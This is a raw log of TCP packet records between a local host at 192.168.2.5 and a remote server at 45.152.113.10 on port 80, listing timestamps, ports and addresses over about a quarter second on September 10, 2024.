Sep 10, 2024 19:36:08.184349060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184360027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184370995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184372902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184382915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184401989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184426069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184434891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184446096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184457064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184473991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184474945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184487104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184497118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184498072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184510946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184520960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.184520960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184545994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.184564114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185161114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185170889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185183048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185204029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185206890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185219049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185223103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185240030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185246944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185252905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185264111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185270071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185276985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185282946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185302019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185307980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185318947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185326099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185331106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185348034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185348988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185360909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185362101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185372114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185374975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185395002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185404062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.185462952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.185502052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186209917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186218977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186229944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186259031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186279058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186310053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186321020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186331034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186342955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186343908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186359882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186381102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186419010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186429024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186439037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186450005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186454058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186475039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186489105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186531067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186542988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186553955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186566114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186580896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186594963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186603069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186614037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186625957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.186635017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186649084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.186661959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187169075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187216043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187238932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187251091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187277079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187289000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187361956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187372923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187391043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187398911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187402010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187413931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187414885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187423944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187433004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187447071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187457085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187458992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187475920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187484026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187489033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187498093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187499046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187510014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187510967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187522888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.187522888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187541008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.187555075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.268186092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268205881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268217087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268228054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268239021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268250942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268263102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268263102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.268273115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268292904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.268307924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.268328905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.268479109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268490076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268500090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268512011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268523932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268531084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.268556118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.268565893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.268673897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268687963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268698931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.268728018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.268749952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269361019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269413948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269498110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269510984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269521952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269532919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269545078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269555092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269556046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269567966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269581079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269598961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269612074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269619942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269624949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269634962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269645929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269656897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269658089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269668102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269679070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269690037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269709110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269716024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269745111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269757032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269768000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269782066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269792080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269793034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269804955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269818068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269819021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269830942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269840956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269865036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269875050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269928932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269956112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269965887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269975901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269979000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269989014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.269995928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.269999981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270009041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270011902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270036936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270051003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270124912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270143986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270154953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270165920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270176888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270179033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270195961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270203114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270217896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270221949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270226955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270237923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270247936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270248890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270260096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270272970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270277023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270282984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270303011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270315886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270394087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270406008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270416021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270440102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270452023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270550966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270562887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270581961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270592928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270596027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270603895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270615101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270620108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270627975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270637035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270643950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270668030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270675898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270684004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270719051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270730019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270730972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270761013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270777941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270790100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270800114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.270826101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.270837069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.311058044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.316315889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439390898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439424992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439436913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439486980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439497948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439506054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.439510107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439521074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439532995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439547062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.439596891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.439659119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439671040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439682007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439693928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439706087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439709902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.439729929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.439754963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.439944029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439954996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439965963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439975977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439985991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.439990997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.439996958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440007925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440015078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440018892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440030098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440035105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440040112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440051079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440054893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440073967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440090895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440102100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440102100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440113068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440123081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440131903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440135002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440145969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440155983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440161943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440167904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440180063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440190077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440191984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440203905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440216064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440217018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440236092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440258026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440426111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440438032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440448999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440459967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440469980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440473080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440480947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440486908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440491915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440502882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440512896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440520048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440524101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440534115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440542936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440551996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440557957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440572977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440574884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440587044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440597057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440601110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440608025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440619946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440629959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440649986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440669060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440697908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440710068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440718889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440730095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440740108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440742016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440752029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440762997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440772057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440773964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440784931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440795898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440798044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440814972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440829039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440843105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440872908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.440893888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.440906048 CEST	80	49707	45.152.113.10	192.168.2.5
